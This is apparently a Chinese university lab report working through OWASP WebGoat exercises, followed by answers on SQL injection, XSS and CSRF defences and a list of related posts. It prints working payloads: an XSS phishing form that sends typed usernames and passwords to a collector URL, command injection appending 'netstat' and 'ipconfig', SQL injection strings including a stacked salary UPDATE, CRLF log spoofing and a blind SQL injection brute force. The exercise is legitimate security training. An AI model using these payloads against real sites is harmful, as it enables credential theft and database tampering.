20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良《网络对抗》Exp9 Web安全基础
实践目的
理解常用网络攻击技术的基本原理。
实践内容
Webgoat实践下相关实验。
实践过程
开启WebGoat
WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的。这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索。
我们在终端下输入命令
java -jar webgoat-container-7.0.1-war-exec.jar
,等到运行完毕,WebGoat服务就打开了。如图所示,该服务占用的是8080端口。
我们再在浏览器中打开8080端口
localhost:8080/WebGoat
就可以进入WebGoat,可以用图中默认的账户密码登录。
Phishing with XSS
题目是跨站脚本钓鱼攻击,要求我们在搜索框中输入XSS攻击代码,读取被攻击者输入的用户名和密码。
`</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>`
将代码添加到Search框内后点击search,然后输入任意用户名密码并提交,就可以显示攻击成功。我们得到了被攻击者的用户名和密码。
Stored XSS Attacks
储存型XSS攻击,我们在留言板中进行恶意留言,点击这条留言就可以看到我们留下的信息。
在
message
框输入<script>alert("20155323lwl");</script>
代码并提交,再点开链接,就可以显示攻击成功。
Reflected XSS Attacks
反射型XSS攻击,在输入框插入一段浏览器可以解释的代码,那么就相当于将其植入到了value中,浏览器会解释这段代码。
在code框中输入
<script>alert("20155323lwl");</script>
,点击Purchase会出现对话框显示攻击成功。
Command Injection
命令注入,要求给操作系统注入命令行并能够在目标主机上执行系统命令,我们打开源代码界面搜索
BackDoors
,在BackDoors.help
后加上一段代码& netstat -an & ipconfig
,目的是注入netstat -an以及ifconfig这两个系统命令以获取IP以及网络端口使用情况。
修改完后选定刚刚设定的值并且点击view,我们就可以得到本机的网络端口使用情况和ip地址。
Numeric SQL Injection
数字型SQL注入,要求我们利用SQL注入获得所有的天气数据。
首先在源代码中进行修改,在station中任意一个值后加上永真式1=1,再进行攻击,我们就可以得到所有城市的天气数据。
Log Spoofing
日志欺骗,利用日志的格式,使用换行等字符注入恶意字符串,按照规则伪造日志欺骗管理员。
我们可以在用户名框内输入命令
PC%0d%0aLogin Succeeded for username: admin
,注入回车%0d和换行符%0a,留下假的登陆成功日志。
String SQL Injection
SQL字符串注入,尝试使用'Smith'的用户名来注入一个字符串,显示用户所有信用卡号码。
其实用户名不是关键,输入任何用户名或者不输入都可以,主要是要在用户名后加上永真式,这是最简单的SQL注入攻击。
Stage 1:String SQL Injection
要求使用字符串SQL注入来绕过身份验证,我们还是在密码框中使用永真式,但是发现登录失败。打开源码我们可以发现,密码的最大长度为8,我们将最大长度修改为100,再在密码栏中输入
‘ or 1=1 --
进行登录,'--'为注释符号。
Stage 3:Numeric SQL Injection
要求通过认证执行SQL注入,使用普通员工的权限来得到boss账户的信息。
还是先执行上一个实践的步骤登录员工账户,然后在源码中搜索
value
,在101后加上永真式or 1=1 order by salary desc--
,再点击viewProfile我们就可以看到老板的账户信息了。
Database Backdoors
数据库后门,首先我们可以输入101查看该用户信息
然后我们可以输入sql语句来修改信息内容,
101; update employee set salary=1000000 where userid=101;
,薪水就呗我们改成100了。
我们还可以使用SQL注入创建一个触发器,这样子创建新用户时就会修改邮箱为你的邮箱。
Blind Numeric SQL Injection
数字型盲注,有时我们获取不到自己需要的信息,此时可以通过SQL语句的条件判断。比如利用二分法去判断并逐渐缩小区间。
首先输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 500 );
判断pin值是否大于500,结果显示Account number is valid
,说明的确是大于500
我们再改为2000,发现还是大于2000,再试试3000,这里显示
invalid account number
,说明错误了,此时pin值范围在2000-3000之间。
使用BurpSuite,截获报文进行暴力破解,由于8080端口被占用,我们添加一个新端口并勾选。
然后在浏览器的端口设置中选择自己刚刚设置的新端口。
在webgoat端点击go,捕获到了报文后右键选择
send to intruder
,然后设置载荷,从2000到3000进行,步数为1,设置完成后开始攻击。
最后我们发现发现2364与其他有明显区别
输入2364进行验证。
回答问题
(1)SQL注入攻击原理,如何防御
原理是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。
防御手段可以是限制用户权限,严格规定输入格式,过滤掉特殊字符以防永真式之类的语句出现。
(2)XSS攻击的原理,如何防御
原理是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。
防御手段可以是严格进行过滤,对于这种敏感词汇要屏蔽掉
(3)CSRF攻击原理,如何防御
原理是通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击 相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。
实践体会
这次实践内容很多,虽然是一个个小的实践,但是也出了一些问题。不过主要还是难在要在WebGoat网站上进行实践,英文不好简直是硬伤,要靠翻译和同学指导才能看懂。。在实践中同学也给我提供了很大的帮助,很感谢他们。
20155323刘威良《网络对抗》Exp9 Web安全基础的更多相关文章
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155323刘威良 网络对抗 Exp2 后门原理与实践
20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...
- 20155323刘威良 网络对抗《网络攻防》 Exp1 PC平台逆向破解(5)M
实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145315何佳蕾《网络对抗》Web安全基础
20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155305《网络对抗》Web安全基础实践
20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155307《网络对抗》Web安全基础实践
20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
随机推荐
- ubantu 16.4 Hadoop 完全分布式搭建
一个虚拟机 1.以 NAT网卡模式 装载虚拟机 2.最好将几个用到的虚拟机修改主机名,静态IP /etc/network/interface,这里 是 s101 s102 s103 三 ...
- Windows桌面.exe程序安装、卸载、升级测试用例
一.安装 1) 系统:XP.win 7.win 8.win 10 2)安全类型软件:360杀毒.360安全卫士.金山毒霸.百度杀毒.腾讯电脑管家等. 3)同类型软件兼容 4)用户名称:中文用户.英文用 ...
- Linux服务器ftp+httpd部署
一.ftp安装 1.安装vsftpd 命令:yum -y install vsftpd 2.修改ftp配置文件 命令:vim /etc/vsftpd/vsftpd.conf 3.按i进入insert模 ...
- 构建第一个SpringBoot工程
学习和使用 SpringBoot 有一段时间了,现在开始陆陆续续会总结归纳 SpringBoot 学习中遇到的相关知识点. SpringBoot 设计目的是用来简化新Spring应用的初始搭建以及开发 ...
- USB AUDIO Device CLASS Requests
写在前面 本文翻译自 USB Device Class Definition for Audio Devices 1998年版.主要是鄙人个人使用,所以只挑对我有用的翻译.有些我认为不是很重要的可能就 ...
- VMware 导出镜像文件供 Virtual Box 使用
1. 问题描述 Windows 系统安装的 VMware 里的安装配置好的虚拟机需要拷贝到 MAC 的 Virtual Box 中. 需要将 VMware 中的虚拟机导出为镜像文件供 Virtual ...
- 【Ansible 文档】【译文】主机清单文件
Inventory 主机清单文件 Ansible 可以对你的基础设施中多个主机系统同时进行操作.通过选择在Ansible的inventory列出的一部分主机来实现.inventory默认保存在/etc ...
- 加强对HEAD 请求的处理(转贴)
最近发现有些搜索引擎爬虫在抓取数据的时候,先是通过一个HEAD 请求获取response的header 信息,然后再通过GET 请求获取response 的body信息(即页面的内容)——先发送HEA ...
- 各种SQL查询技巧汇总 (转)
原文地址: https://blog.csdn.net/tim_phper/article/details/54963828 select select * from student; all 查询所 ...
- String----是一个对象
* 字符串可以看成是字符组成的数组,但是js中没有字符类型 * 字符是一个一个的,在别的语言中字符用一对单引号括起来 * 在js中字符串可以使用单引号也可以使用双引号 * 因为字符串可以看成是数组,所 ...